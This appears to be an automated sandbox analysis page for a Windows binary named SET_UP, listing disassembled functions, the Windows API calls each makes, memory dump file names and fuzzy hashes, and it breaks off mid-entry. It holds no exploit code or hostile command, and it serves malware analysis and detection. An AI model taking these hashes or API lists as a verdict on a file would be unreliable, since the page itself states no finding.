Instruction ID: e5f2758eb6b94c32b3227224cfbd52e0d2697003f87abe8ae4d365f35204705d
Opcode Fuzzy Hash: edf911f2805025c37bb348663ea21a87f80d9b922971e5ac743dde3559053592
Instruction Fuzzy Hash: 8F4160B1A01608ABDB10DF69CC49B9EBBF8FF44720F108269E815E72D1EB359944CB90

Function 000BF370 Relevance: 6.1, APIs: 4, Instructions: 106fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNEL32(00000000,0CE81EE3,?,00000000,00000000), ref: 000BF3AA
CloseHandle.KERNEL32(?,0CE81EE3,?,00000000,00000000), ref: 000BF3BE
CloseHandle.KERNEL32(?,0CE81EE3,?,00000000,00000000), ref: 000BF3C8
CloseHandle.KERNEL32(?,0CE81EE3,?,00000000,00000000), ref: 000BF3D2

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CloseHandle$FileUnmapView
String ID:
API String ID: 260491571-0
Opcode ID: 104a3caf2062e9547b8d4f74464cf18e0deb2977ff8be5e4f2d8950e52bf2449
Instruction ID: 120aa968c7ac2a8cb76690b00a6b6d825f3cb703f882c3ea5dff43d77300958a
Opcode Fuzzy Hash: 104a3caf2062e9547b8d4f74464cf18e0deb2977ff8be5e4f2d8950e52bf2449
Instruction Fuzzy Hash: AE413C70A016469FD710CF6DC948B9AFBF8EF45720F1486A9E815D72A1DB74EE04CBA0

Function 000AABB0 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(00070000,0012F068,0000000A,0CE81EE3,0012F068,00000000,?,?,00000000,0010F46E,000000FF,?,80004005), ref: 000AABF4
LoadResource.KERNEL32(00070000,00000000,?,?,00000000,0010F46E,000000FF,?,80004005), ref: 000AAC02
LockResource.KERNEL32(00000000,?,?,00000000,0010F46E,000000FF,?,80004005), ref: 000AAC0D
SizeofResource.KERNEL32(00070000,00000000,?,?,00000000,0010F46E,000000FF,?,80004005), ref: 000AAC1B

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: b306240eb9acce5549d557961fa6b3ccb0c279bb52981b0a83f79ca2623aa5e6
Instruction ID: 7e90517e277e9bb88e4fd01901a0d60017985fe068209145f187f7590ca5ec65
Opcode Fuzzy Hash: b306240eb9acce5549d557961fa6b3ccb0c279bb52981b0a83f79ca2623aa5e6
Instruction Fuzzy Hash: E131A275A00614AFE710AFA5CC08BABBBE8FF46720F14852DF815D7691DB749D04CB91

Function 000B61D7 Relevance: 6.1, APIs: 4, Instructions: 92windowCOMMON

Download Yara Rule

APIs

Part of subcall function 000B3670: GetParent.USER32(?), ref: 000B36C9
Part of subcall function 000B3670: SendMessageW.USER32(00000000,00000478,00000000,?), ref: 000B36D9

Part of subcall function 000B4AF0: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 000B4B0D
Part of subcall function 000B4AF0: SendMessageW.USER32(?,0000102C,00000000,0000F000), ref: 000B4B24
Part of subcall function 000B4AF0: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 000B4B48

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 000B6239
SendMessageW.USER32(?,0000104B,00000000,?), ref: 000B6290
SendMessageW.USER32(?,0000102C,00000000,0000F000), ref: 000B62B8

Part of subcall function 000B3C80: SendMessageW.USER32(?,0000104C), ref: 000B3D77

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 000B62E4

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: MessageSend$Parent
String ID:
API String ID: 1020955656-0
Opcode ID: c52b6ecca4c1fb9c8aaf8693e1d290ee798da9c2590ea579e717a0abb533eca7
Instruction ID: 37f42534099ff435e0e4e66cceeae5d6a0393c97a8bb4ca55a9b8d5f09caf5cc
Opcode Fuzzy Hash: c52b6ecca4c1fb9c8aaf8693e1d290ee798da9c2590ea579e717a0abb533eca7
Instruction Fuzzy Hash: 4731D131640345AFEB109F20CC84BEA7BE1FFC9350F104668FE859A1A6DBB5D984CA91

Function 000F52B8 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,000ECC05,?,?,0008C44D,?,000EC44D,000000FF,?,?,?), ref: 000F52BD
_free.LIBCMT ref: 000F531A
_free.LIBCMT ref: 000F5350
SetLastError.KERNEL32(00000000,00000006,000000FF,?,000EC44D,000000FF,?,?,?), ref: 000F535B

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 3b776ca11735d9a1f724bece211bccb97826bce911567eddcc632359f0bb6896
Instruction ID: 98a5777104ec3702192c2b8f8fcf13d7d05c20f3fda84572af8ee52037f3d5ce
Opcode Fuzzy Hash: 3b776ca11735d9a1f724bece211bccb97826bce911567eddcc632359f0bb6896
Instruction Fuzzy Hash: 1811EC72204E0D6BCA5127789C86DBF2199ABC27F7B394324F72492DE3DF614D017254

Function 000F540F Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,000EBC0E,000F6A22,?,000EEC7A,?,00000004,00000004,?,00000000,?,000F3033,?,00000004), ref: 000F5414
_free.LIBCMT ref: 000F5471
_free.LIBCMT ref: 000F54A7
SetLastError.KERNEL32(00000000,00000006,000000FF,?,000EEC7A,?,00000004,00000004,?,00000000,?,000F3033,?,00000004,00000004), ref: 000F54B2

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: f5b4a1d844413693d3badc79173a458065bfe6a9d6dc21449083a3b5d53df2a0
Instruction ID: 09008508371889c88567018e2b551f9a3d9567a0b7f7f3b1d536a28cc035d731
Opcode Fuzzy Hash: f5b4a1d844413693d3badc79173a458065bfe6a9d6dc21449083a3b5d53df2a0
Instruction Fuzzy Hash: E6110C76204E0D6BCB5027B4AC85DBF22599BC27BB7244224F72492DF2DF218C817260

Function 000BA7E0 Relevance: 6.1, APIs: 4, Instructions: 53windowsleepCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 000BA7EE
IsWindowVisible.USER32(?), ref: 000BA832
Sleep.KERNEL32(0000000A,?,?,?,000BA72E,?), ref: 000BA84C
IsWindowVisible.USER32(?), ref: 000BA851

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: VisibleWindow$Sleep
String ID:
API String ID: 2470227460-0
Opcode ID: 11461b4b7cf7103eff479f477a30e59a882c429205ed7d21431675cc62a34976
Instruction ID: b50da192b938ccd82bfa8b177e6185eea5dbb64cc816071cfbe09b04fdc5e46c
Opcode Fuzzy Hash: 11461b4b7cf7103eff479f477a30e59a882c429205ed7d21431675cc62a34976
Instruction Fuzzy Hash: E41196357003019FDB649F64D940FA6B7E6FF9A700B04C46DE6598B621DB72EC12CB61

Function 0008EC10 Relevance: 6.1, APIs: 4, Instructions: 51threadsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,?,0CE81EE3,?,?,?,001059B0,000000FF), ref: 0008EC47
GetExitCodeThread.KERNEL32(?,?,?,?,?,001059B0,000000FF), ref: 0008EC61
TerminateThread.KERNEL32(?,00000000,?,?,?,001059B0,000000FF), ref: 0008EC79
CloseHandle.KERNEL32(?,?,?,?,001059B0,000000FF), ref: 0008EC82

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Thread$CloseCodeExitHandleObjectSingleTerminateWait
String ID:
API String ID: 3774109050-0
Opcode ID: b1bd80830b39e6b3db4769bda062a60f8e0d0391ad3c2e3b000ec845aabb6fab
Instruction ID: 5be3a34c7bb1ac5971b5e6b4f1b8c1250f1cfe495b0aa95e406ae13aaec95a04
Opcode Fuzzy Hash: b1bd80830b39e6b3db4769bda062a60f8e0d0391ad3c2e3b000ec845aabb6fab
Instruction Fuzzy Hash: 0411C871944788EFD7219F18DE49B97BBE8FB05710F00862DF86592AA0D7B1E850CB90

Function 0008ECC0 Relevance: 6.0, APIs: 4, Instructions: 44threadsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,?,0CE81EE3,?,?,?,001059B0,000000FF), ref: 0008ECF7
GetExitCodeThread.KERNEL32(?,?,?,?,?,001059B0,000000FF), ref: 0008ED11
TerminateThread.KERNEL32(?,00000000,?,?,?,001059B0,000000FF), ref: 0008ED29
CloseHandle.KERNEL32(?,?,?,?,001059B0,000000FF), ref: 0008ED32

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Thread$CloseCodeExitHandleObjectSingleTerminateWait
String ID:
API String ID: 3774109050-0
Opcode ID: 49612dd1a57a25f42a9542c62af5b6b717309644742678ed9e2baf7ef057d430
Instruction ID: 30ad66aace1c5da324e4e472a6e104aef41ec2b11ba1f6df97eaa4567e400a73
Opcode Fuzzy Hash: 49612dd1a57a25f42a9542c62af5b6b717309644742678ed9e2baf7ef057d430
Instruction Fuzzy Hash: 9601B135544749EFEB208F54DD04BA7B7F8FB08720F108A2DF8A592AA0D771B840CB90

Function 000AACC0 Relevance: 6.0, APIs: 4, Instructions: 37timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(00000000,?,?,?,?,?,?,?,?,0012F068,00000000), ref: 000AACDD
GetSystemTime.KERNEL32(?), ref: 000AACFE
SystemTimeToFileTime.KERNEL32(?,?), ref: 000AAD0E
CompareFileTime.KERNEL32(?,2A69C000), ref: 000AAD1E

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Time$FileSystem$Compare
String ID:
API String ID: 2701012859-0
Opcode ID: 57b4919cbdd07a33e465cb35febb16bcb71afa009f7163375627068d272aea61
Instruction ID: bc0b72a2be596f8bf96b883526738a10b7d9c28cf04afbaa284b5a4efc9351ba
Opcode Fuzzy Hash: 57b4919cbdd07a33e465cb35febb16bcb71afa009f7163375627068d272aea61
Instruction Fuzzy Hash: FE01FF75508309DFC704DFA4DA59D9FB7ECEB48615F008A1DF559C3150E634EA48CB92

Function 0008ED50 Relevance: 6.0, APIs: 4, Instructions: 35threadsynchronizationCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,0008EE40,?,00000000,?), ref: 0008ED72
GetLastError.KERNEL32(?,00000000,?), ref: 0008ED7F
WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000,?), ref: 0008ED93
GetExitCodeThread.KERNEL32(?,?,?,00000000,?), ref: 0008EDA1

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Thread$CodeCreateErrorExitLastObjectSingleWait
String ID:
API String ID: 2732711357-0
Opcode ID: 11fc4e1fdedd2ab6a6071b2528b3848f6b6bff192d5cb4d358d5814c7966d6f8
Instruction ID: cd077220bc1006fba998557f5d9124b002cde2c810c92eb5482ee529055744c9
Opcode Fuzzy Hash: 11fc4e1fdedd2ab6a6071b2528b3848f6b6bff192d5cb4d358d5814c7966d6f8
Instruction Fuzzy Hash: 9BF03C71148751EFD360DF68ED08F8BBBE8FB48710F048D1AB495C2590D770D8448B91

Function 000B50D2 Relevance: 6.0, APIs: 4, Instructions: 32windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 000B50DA
SendMessageW.USER32(00000000,0000048C,?,?), ref: 000B50EE
GetParent.USER32(?), ref: 000B50F7

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Parent$MessageSend
String ID:
API String ID: 2251359880-0
Opcode ID: 6621a6e4c05fb6e4fca01afb750b0a0b32a5e160431370cea5405827c164ba18
Instruction ID: 5acec684d70b01795b34ab90c859e2f9992fed71793b2d4e6eb7a02c2d1c36de
Opcode Fuzzy Hash: 6621a6e4c05fb6e4fca01afb750b0a0b32a5e160431370cea5405827c164ba18
Instruction Fuzzy Hash: 72F04970548601BFE7081B68DD3CBBE7AA5EB84342F00889DA20747690CA758881DBAA

Function 000E0730 Relevance: 6.0, APIs: 4, Instructions: 28windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000475,00000000,?), ref: 000E0741
IsWindow.USER32(?), ref: 000E074E
SendMessageW.USER32(?,00000476,00000000,00000000), ref: 000E0764
PostQuitMessage.USER32(00000000), ref: 000E0770

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Message$Send$PostQuitWindow
String ID:
API String ID: 1571817601-0
Opcode ID: 561a7eab0e4283797fe8c6d160168dbae1af2425e9667fc618d2d4c8704ba86e
Instruction ID: 5742f961b4d50b781828dc09561710468888db77191c7e00c6e6753b1077f154
Opcode Fuzzy Hash: 561a7eab0e4283797fe8c6d160168dbae1af2425e9667fc618d2d4c8704ba86e
Instruction Fuzzy Hash: 88F0653079C3016FF7701F36DD0DF967A91BB10B91F04C429B6C6B65E4D6A198D1CA54

Function 000E72BC Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,000E7259,00000064), ref: 000E72DF
LeaveCriticalSection.KERNEL32(0014A5E4,?,?,000E7259,00000064,?,?,?,000741D6,0014B204,0CE81EE3,?,?,00105BBD,000000FF), ref: 000E72E9
WaitForSingleObjectEx.KERNEL32(?,00000000,?,000E7259,00000064,?,?,?,000741D6,0014B204,0CE81EE3,?,?,00105BBD,000000FF), ref: 000E72FA
EnterCriticalSection.KERNEL32(0014A5E4,?,000E7259,00000064,?,?,?,000741D6,0014B204,0CE81EE3,?,?,00105BBD,000000FF,?,00071027), ref: 000E7301

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 2b25898a79153e5ba5a127c0812013450d77f7fc8d1d9636e2f803546073103c
Instruction ID: 8fa32cbcc07e3f0a20d7f04cacf7f3ed24fbb5bf70db9ffb08d7873ea362ee63
Opcode Fuzzy Hash: 2b25898a79153e5ba5a127c0812013450d77f7fc8d1d9636e2f803546073103c
Instruction Fuzzy Hash: EEE092325C0124BBCA031B61EE08ADE7E39EF05761B41C012FA096A970C77119809FC6

Function 000F32C9 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 000F32D2

Part of subcall function 000F550A: HeapFree.KERNEL32(00000000,00000000,?,000FDB53,?,00000000,?,?,?,000FDDF6,?,00000007,?,?,000FE29B,?), ref: 000F5520
Part of subcall function 000F550A: GetLastError.KERNEL32(?,?,000FDB53,?,00000000,?,?,?,000FDDF6,?,00000007,?,?,000FE29B,?,?), ref: 000F5532

_free.LIBCMT ref: 000F32E5
_free.LIBCMT ref: 000F32F6
_free.LIBCMT ref: 000F3307

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7fbb6f66eb8adcb58858b84735afaf67b3ed35a98ca0db26513b268e7189205b
Instruction ID: 5965e7ea5638271eba36a54682fb1c76ee3bff5aecdac4087048f8d2b5acc7eb
Opcode Fuzzy Hash: 7fbb6f66eb8adcb58858b84735afaf67b3ed35a98ca0db26513b268e7189205b
Instruction Fuzzy Hash: 6FE0BF7AC44D259A97016F94FCA14963B72BF56F123420046F60016EB2D73245D2EBC2

Function 000CB7D0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 380COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 000CBA99
std::locale::_Init.LIBCPMT ref: 000CBADF

Strings

invalid unordered_map<K, T> key, xrefs: 000CBC49

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Initstd::locale::_
String ID: invalid unordered_map<K, T> key
API String ID: 1620887387-353222475
Opcode ID: 72dffb65f310590817dc9c18f575ebb93e5f34c0fe7a25790cc7875c3e1c3b45
Instruction ID: f3cc871641bba441879c0c2723475638bdb8b5783644daea35df5b9e18acf98a
Opcode Fuzzy Hash: 72dffb65f310590817dc9c18f575ebb93e5f34c0fe7a25790cc7875c3e1c3b45
Instruction Fuzzy Hash: 4EE1C172D01249CBDB64DFA8C846BEEBBB4FF14714F24816DD416AB282EB349D44CB91

Function 0008B3D0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 243COMMON

Download Yara Rule

APIs

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

_wcschr.LIBVCRUNTIME ref: 0008B499

Strings

@$+,/:;=?&%<>{}[]()#^!*', xrefs: 0008B639, 0008B649
%%%X, xrefs: 0008B4DF

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: HeapProcess_wcschr
String ID: @$+,/:;=?&%<>{}[]()#^!*'$%%%X
API String ID: 1401547090-362521357
Opcode ID: cfa8085345b079c6bf53cf39667c1733dbe9986e3372dc82ad47f4e792c97c78
Instruction ID: 02fff74d34456de6fba8c2cb872196b82a01536f97fe058ef0125611c1d1bb7b
Opcode Fuzzy Hash: cfa8085345b079c6bf53cf39667c1733dbe9986e3372dc82ad47f4e792c97c78
Instruction Fuzzy Hash: 51917D71A016199FDB00EFA8C889BAEFBF5FF04310F148559E855EB3A1DB74A900CB90

Function 000D121C Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 211COMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 000D1482

Strings

', xrefs: 000D14D9
- , xrefs: 000D13A0

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ActiveWindow
String ID: - $'
API String ID: 2558294473-957660631
Opcode ID: e93f431230bd949b0c477554e84465fa0fbe308675e579108ccbccd822d95cce
Instruction ID: 54f7a573c4f566525cb3452a45b939af35886928d9dcb632d3bbc1c2cc1b7165
Opcode Fuzzy Hash: e93f431230bd949b0c477554e84465fa0fbe308675e579108ccbccd822d95cce
Instruction Fuzzy Hash: E691B130A01A45EFDB55DB28C858BADB7F1AF42320F148299E019873E2DF349D84CF61

Function 000D1231 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 211COMMON

Download Yara Rule

APIs

Part of subcall function 000D3B10: GetCurrentThreadId.KERNEL32 ref: 000D3B87
